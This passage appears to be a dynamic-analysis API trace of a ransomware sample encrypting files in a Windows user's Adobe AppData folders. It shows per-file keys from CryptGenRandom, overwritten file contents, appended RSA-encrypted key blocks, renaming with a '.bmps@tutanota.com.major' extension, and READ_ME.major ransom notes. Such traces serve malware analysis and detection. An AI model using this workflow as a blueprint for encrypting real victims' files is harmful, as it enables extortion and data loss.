nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0193.360] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0193.360] WriteFile (in: hFile=0x9f0, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0193.360] CloseHandle (hObject=0x9f0) returned 1 [0193.360] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0193.360] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\AdobeCMapFnt15.lst" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrobat\\dc\\adobecmapfnt15.lst"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\AdobeCMapFnt15.lst.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrobat\\dc\\adobecmapfnt15.lst.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0193.383] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x66c320 | out: hHeap=0x570000) returned 1 [0193.383] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656e48 | out: hHeap=0x570000) returned 1 [0193.383] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6d28 | out: hHeap=0x570000) returned 1 [0193.383] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6c18 | out: hHeap=0x570000) returned 1 [0193.383] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5c7448 [0193.383] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7cd0 | out: hHeap=0x570000) returned 1 [0193.383] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c79f8 | out: hHeap=0x570000) returned 1 [0193.383] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656fb0 | out: hHeap=0x570000) returned 1 [0193.383] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x76e74ef1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x76e74ef1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x2980e2e0, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f86a28 [0193.383] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6ca0 | out: hHeap=0x570000) returned 1 [0193.383] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4460 [0193.383] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6c18 [0193.383] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4460 | out: hHeap=0x570000) returned 1 [0193.383] GetLastError () returned 0x0 [0193.383] SetLastError (dwErrCode=0x0) [0193.383] GetLastError () returned 0x0 [0193.384] SetLastError (dwErrCode=0x0) [0193.384] GetLastError () returned 0x0 [0193.384] SetLastError (dwErrCode=0x0) [0193.384] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0193.384] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be948 [0193.384] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be948 | out: hHeap=0x570000) returned 1 [0193.384] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656e48 [0193.384] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x2f87268 [0193.384] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f87268 | out: hHeap=0x570000) returned 1 [0193.384] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40660 [0193.384] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40660 | out: hHeap=0x570000) returned 1 [0193.384] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656e48 | out: hHeap=0x570000) returned 1 [0193.384] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0193.384] FindNextFileW (in: hFindFile=0x2f86a28, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x76e74ef1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x76e74ef1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x2980e2e0, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0193.384] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6c18 | out: hHeap=0x570000) returned 1 [0193.384] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4460 [0193.384] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b71f0 [0193.384] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4460 | out: hHeap=0x570000) returned 1 [0193.384] GetLastError () returned 0x0 [0193.384] SetLastError (dwErrCode=0x0) [0193.384] GetLastError () returned 0x0 [0193.384] SetLastError (dwErrCode=0x0) [0193.384] GetLastError () returned 0x0 [0193.384] SetLastError (dwErrCode=0x0) [0193.384] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0193.384] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be478 [0193.384] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be478 | out: hHeap=0x570000) returned 1 [0193.384] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656f88 [0193.385] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x2f871a8 [0193.385] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f871a8 | out: hHeap=0x570000) returned 1 [0193.385] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e404c8 [0193.385] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e404c8 | out: hHeap=0x570000) returned 1 [0193.385] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656f88 | out: hHeap=0x570000) returned 1 [0193.385] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0193.385] FindNextFileW (in: hFindFile=0x2f86a28, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x76e74ef1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x76e74ef1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x76e74ef1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Acrobat", cAlternateFileName="")) returned 1 [0193.385] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b71f0 | out: hHeap=0x570000) returned 1 [0193.385] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a46a0 [0193.385] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b71f0 [0193.385] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a46a0 | out: hHeap=0x570000) returned 1 [0193.385] GetLastError () returned 0x0 [0193.385] SetLastError (dwErrCode=0x0) [0193.385] GetLastError () returned 0x0 [0193.385] SetLastError (dwErrCode=0x0) [0193.385] GetLastError () returned 0x0 [0193.385] SetLastError (dwErrCode=0x0) [0193.385] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cdf10 [0193.385] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656f88 [0193.385] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cdc40 [0193.385] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d380 [0193.385] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d240 [0193.385] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4460 [0193.385] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7278 [0193.385] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4460 | out: hHeap=0x570000) returned 1 [0193.385] GetLastError () returned 0x0 [0193.386] SetLastError (dwErrCode=0x0) [0193.386] GetLastError () returned 0x0 [0193.386] SetLastError (dwErrCode=0x0) [0193.386] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x2f82640 [0193.386] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7278 | out: hHeap=0x570000) returned 1 [0193.386] GetLastError () returned 0x0 [0193.386] SetLastError (dwErrCode=0x0) [0193.386] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x65c378 [0193.386] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrocef\\dc\\acrobat\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x310 [0193.388] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x65c378 | out: hHeap=0x570000) returned 1 [0193.389] WriteFile (in: hFile=0x310, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0193.389] CloseHandle (hObject=0x310) returned 1 [0193.390] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f82640 | out: hHeap=0x570000) returned 1 [0193.390] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d240 | out: hHeap=0x570000) returned 1 [0193.390] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d380 | out: hHeap=0x570000) returned 1 [0193.390] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdc40 | out: hHeap=0x570000) returned 1 [0193.390] FindNextFileW (in: hFindFile=0x2f86a28, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2980e2e0, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2980e2e0, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2980e2e0, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0193.390] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4460 [0193.390] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6c18 [0193.390] SetLastError (dwErrCode=0x0) [0193.390] GetLastError () returned 0x0 [0193.390] SetLastError (dwErrCode=0x0) [0193.390] GetLastError () returned 0x0 [0193.390] SetLastError (dwErrCode=0x0) [0193.390] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656e48 [0193.390] FindNextFileW (in: hFindFile=0x2f86a28, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2980e2e0, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2980e2e0, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2980e2e0, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0193.390] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cde20 [0193.390] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Color\\Profiles\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x73a98eca, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x73d6dc69, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x29834654, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f87228 [0193.390] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4778 [0193.391] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6c18 [0193.391] SetLastError (dwErrCode=0x12) [0193.391] GetLastError () returned 0x12 [0193.391] SetLastError (dwErrCode=0x12) [0193.391] GetLastError () returned 0x12 [0193.391] SetLastError (dwErrCode=0x12) [0193.391] FindNextFileW (in: hFindFile=0x2f87228, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x73a98eca, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x73d6dc69, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x29834654, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0193.391] SetLastError (dwErrCode=0x12) [0193.391] GetLastError () returned 0x12 [0193.391] SetLastError (dwErrCode=0x12) [0193.391] GetLastError () returned 0x12 [0193.391] SetLastError (dwErrCode=0x12) [0193.391] FindNextFileW (in: hFindFile=0x2f87228, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29834654, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x29834654, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x29834654, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0193.391] SetLastError (dwErrCode=0x12) [0193.391] GetLastError () returned 0x12 [0193.391] SetLastError (dwErrCode=0x12) [0193.391] GetLastError () returned 0x12 [0193.391] SetLastError (dwErrCode=0x12) [0193.391] FindNextFileW (in: hFindFile=0x2f87228, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d479e6, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x73d479e6, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x73d479e6, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x102a0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="wscRGB.icc", cAlternateFileName="")) returned 1 [0193.391] SetLastError (dwErrCode=0x12) [0193.391] GetLastError () returned 0x12 [0193.391] SetLastError (dwErrCode=0x12) [0193.391] GetLastError () returned 0x12 [0193.392] SetLastError (dwErrCode=0x12) [0193.392] FindNextFileW (in: hFindFile=0x2f87228, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d6dc69, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x73d6dc69, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x73d6dc69, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0xa74, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="wsRGB.icc", cAlternateFileName="")) returned 1 [0193.392] SetLastError (dwErrCode=0x12) [0193.392] GetLastError () returned 0x12 [0193.392] SetLastError (dwErrCode=0x12) [0193.392] GetLastError () returned 0x12 [0193.392] SetLastError (dwErrCode=0x12) [0193.392] FindNextFileW (in: hFindFile=0x2f87228, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d6dc69, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x73d6dc69, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x73d6dc69, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0xa74, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="wsRGB.icc", cAlternateFileName="")) returned 0 [0193.392] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0193.392] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Color\\Profiles\\wsRGB.icc", dwFileAttributes=0x80) returned 1 [0193.392] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Color\\Profiles\\wsRGB.icc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\color\\profiles\\wsrgb.icc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9f4 [0193.393] GetFileSizeEx (in: hFile=0x9f4, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=2676) returned 1 [0193.393] ReadFile (in: hFile=0x9f4, lpBuffer=0x66e148, nNumberOfBytesToRead=0xa74, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66e148*, lpNumberOfBytesRead=0x2e3f9b4*=0xa74, lpOverlapped=0x0) returned 1 [0193.394] SetFilePointer (in: hFile=0x9f4, lDistanceToMove=-2676, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.394] WriteFile (in: hFile=0x9f4, lpBuffer=0x2f2c008*, nNumberOfBytesToWrite=0xa74, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f2c008*, lpNumberOfBytesWritten=0x2e3f9b4*=0xa74, lpOverlapped=0x0) returned 1 [0193.394] SetFilePointer (in: hFile=0x9f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xa74 [0193.394] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0193.394] WriteFile (in: hFile=0x9f4, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0193.395] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0193.395] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0193.395] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0193.395] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="acK05lMG1LOuL1pu4i4duIwROF6+pIzFKnR8sbIytKxThCgSOQlz0VhqzHgjSP+E\nGnRAqicJEAF1VOA6ZMQmPUPqV9Gc32/vwoutBgbPHjnIOh+GYveZ2kWsjCeSkGP1\nkaT4eLdAKzQLZNy8VXL5k+QfZofjNUW4RPQCd1QAVE8M7oI6HD/07/B2w+q6jW14\nxubRxjAB3f9Jfs99mheXQ3YYJVJ9xTPEa+L8Txzx2A9zYEVMEzi9kqEeyjrJm8xA\n8flTJeMu+ryBoMaCzASJNUB5ES0+8cOhdOUU1yu2vHMfATME8YUGqCTvjN8pJBRZ\nHALMlbX8DqVuSDloK3UUWw==\n", pcchString=0x2e3f9a8) returned 1 [0193.395] WriteFile (in: hFile=0x9f4, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0193.395] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0193.395] WriteFile (in: hFile=0x9f4, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0193.395] CloseHandle (hObject=0x9f4) returned 1 [0193.395] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Color\\Profiles\\wsRGB.icc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\color\\profiles\\wsrgb.icc"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Color\\Profiles\\wsRGB.icc.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\color\\profiles\\wsrgb.icc.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0193.397] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0193.397] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Color\\Profiles\\wscRGB.icc", dwFileAttributes=0x80) returned 1 [0193.398] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Color\\Profiles\\wscRGB.icc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\color\\profiles\\wscrgb.icc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9f4 [0193.398] GetFileSizeEx (in: hFile=0x9f4, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=66208) returned 1 [0193.398] ReadFile (in: hFile=0x9f4, lpBuffer=0x2f89888, nNumberOfBytesToRead=0x102a0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f89888*, lpNumberOfBytesRead=0x2e3f9b4*=0x102a0, lpOverlapped=0x0) returned 1 [0193.418] SetFilePointer (in: hFile=0x9f4, lDistanceToMove=-66208, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.418] WriteFile (in: hFile=0x9f4, lpBuffer=0x2f99b30*, nNumberOfBytesToWrite=0x102a0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f99b30*, lpNumberOfBytesWritten=0x2e3f9b4*=0x102a0, lpOverlapped=0x0) returned 1 [0193.420] SetFilePointer (in: hFile=0x9f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x102a0 [0193.420] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0193.420] WriteFile (in: hFile=0x9f4, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0193.420] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0193.420] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0193.421] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0193.421] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="C+Ce6Yk8LySbLB0COwE+oGR06FuJxJepHRDvbK+CdJwDxZWvcIwKg97/mVgzZECM\nCsajR3Ri/IIRwcx6YZU1KU+03dNscvtQXVdXr5nuM/i+w4vnxtOZeBnpLFddHES3\npsLr4Je8GZyDjapcwT7ckBxfyHr8/z/NPdp61O5aaETB10dCvV+kn2PXsWuUpj1/\n/TJLuMrq0vo9gpAzZCzKma7EOAdEkfoHV9MA+bdn/WlFVyqPP5f3aMNCLfJTYNOT\n5bSA9mBS8ZN0bHTEkwKuZGhySvCLNK+Fqb2XeIeacXsQC8PCKhZdvdN6szUtPpu4\n1Ncq+HZ1HDnsU447URErSg==\n", pcchString=0x2e3f9a8) returned 1 [0193.421] WriteFile (in: hFile=0x9f4, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0193.421] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0193.421] WriteFile (in: hFile=0x9f4, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0193.421] CloseHandle (hObject=0x9f4) returned 1 [0193.421] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Color\\Profiles\\wscRGB.icc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\color\\profiles\\wscrgb.icc"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Color\\Profiles\\wscRGB.icc.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\color\\profiles\\wscrgb.icc.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0193.450] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\CEF\\User Data\\Dictionaries\\*", 